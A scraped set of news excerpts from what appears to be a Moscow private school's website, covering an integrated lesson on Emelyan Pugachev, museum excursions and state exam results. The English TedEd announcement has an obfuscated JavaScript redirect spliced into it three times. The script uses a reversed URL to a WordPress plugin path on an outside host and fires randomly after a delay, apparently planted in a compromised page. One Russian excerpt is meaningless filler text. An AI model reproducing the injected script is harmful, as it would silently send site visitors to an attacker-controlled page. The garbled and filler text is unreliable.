Интеграция — это глубокое взаимопроникновение, слияние, насколько это возможно, в одном учебном материале обобщенных знаний в той или иной области. 4 декабря А.В.Владимирова и Н.В.Филимонова провели в 8 классе интегрированный урок на тему: «Емельян Пугачев – историческая личность и литературный образ». Комментарии по ходу урока делал С.А.Засорин. Есть в истории и литературе образы, которые вызывают споры и толки, так как их нельзя нарисовать одной краской, нельзя однозначно определить их значение и роль в истории. К таким фигурам относится и Емельян […]
Музей предпринимателей, меценатов и благотворителей расположен в старой части Москвы, богатой уникальными памятниками культуры, архитектуры и искусства. Это единственный в России музей, хранящий в своих стенах историю издревле почитаемых на Руси меценатства и благотворительности. Именно туда мы и отправились 9 декабря вместе с нашим учителем истории С.А. Засориным. Интерактивную экскурсию для нас проводила директор музей, энтузиаст благородного дела, которым она занимается, — Елена Ивановна Калмыкова. Нас встретили многочисленные оригинальные экспонаты: документы, фотографии, личные вещи, портреты, награды российских банкиров, промышленников, купцов, […]
В преддверии новогодних каникул, 23 декабря, шестиклассники вместе с учителем истории Н.В.Филимоновой посетили уникальный Музей Востока. Музей располагается в центре Москвы в очень красивом старинном здании. Здесь находится самая большая коллекция искусства стран Востока. Мы окунулись в культуру Индии и Китая. Какие же там одеяния, резная мебель, изящные статуэтки! Невероятно тонкая, детальная резьба по дереву, кости и камню просто поражает воображение, получаются сказочно-красивые вещи. При изучении истории, ребят всегда интересовала чайная церемония, хотелось узнать, а как это всё происходит у […]
Таким образом консультация с широким активом играет важную роль в формировании дальнейших направлений развития. Равным образом сложившаяся структура организации требуют от нас анализа системы обучения кадров, соответствует насущным потребностям. Разнообразный и богатый опыт дальнейшее развитие различных форм деятельности требуют от нас анализа новых предложений. Разнообразный и богатый опыт новая модель организационной деятельности требуют от нас анализа новых предложений. Не следует, однако забывать, что постоянное информационно-пропагандистское обеспечение нашей деятельности влечет за собой процесс внедрения и модернизации модели развития. Задача организации, в […]
Big news, everyone! As of Octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tober 2015 “Integration XXIcentury” International Secondary School is an official member of TedEd club. This is a huge leap forward for us. We welcome this opportunity for our students toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to perfect their information literacy and presentation skills, as well as it is a wonderful reinforcement of our mission and dedication toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to holistic education and life-long learning concept. […]
Количество выпускников — 9 Количество выпускников, которые: сдавали только два обязательных ЕГЭ – 2 сдавали три ЕГЭ, в т.ч математику на базовом уровне – 2 сдавали более трех ЕГЭ – 5, из них набрали по результатам 3 экзаменов больше 220 баллов – 5 выпускников из 5 (100%). Средний балл по трем ЕГЭ – 257. Максимальный результат по сумме баллов за 3 экзамена в форме ЕГЭ – 279 РУССКИЙ ЯЗЫК Минимальный балл, установленный Рособрнадзором в 2015 году – […]
Количество выпускников – 13 МАТЕМАТИКА Минимальное количество баллов ОГЭ, подтверждающее освоение школьной программы по программам основного общего образования в 2015 году – 8 (из 38) Количество выпускников, сдававших ОГЭ – 13 человек (из 13 выпускников) Количество выпускников, преодолевших минимальный порог – 13 человек (100%) Максимальный балл, полученный выпускником на ОГЭ по математике – 38 (из 38) Средний балл (отметка за работу по 5-балльной шкале) — 4,92 Количество «5» — 12 (92%) Количество «5» и «4» — 13 (100%) РУССКИЙ […]
Количество выпускников – 20 МАТЕМАТИКА Минимальное количество баллов ОГЭ, подтверждающее освоение школьной программы по программам основного общего образования в 2014 году – 24 (из 100) Количество выпускников, сдававших ОГЭ – 20 человек (из 20 выпускников) Количество выпускников, преодолевших минимальный порог – 20 человек (100%) Средний балл — 53 (из 100) Максимальный балл, полученный выпускником на ОГЭ по математике – 75 (из 100) Средний балл (отметка за работу по 5-балльной шкале) — 3,95 Количество «5» — 8 (40%) Количество «5» и […]
Количество выпускников — 12 РУССКИЙ ЯЗЫК Минимальный балл, установленный Рособрнадзором в 2014 году – 24 (из 100) Количество выпускников, сдававших ЕГЭ – 12 человек (100%) (из 12 выпускников) Количество выпускников, преодолевших минимальный порог – 12 человек (100%) Средний балл – 74,3 (из 100) Максимальный балл, полученный выпускником на ЕГЭ по русскому языку – 92 балла (из 100) МАТЕМАТИКА Минимальный балл, установленный Рособрнадзором в 2014 году – 20 (из 100) Количество выпускников, сдававших ЕГЭ – 12 человек (100%) […]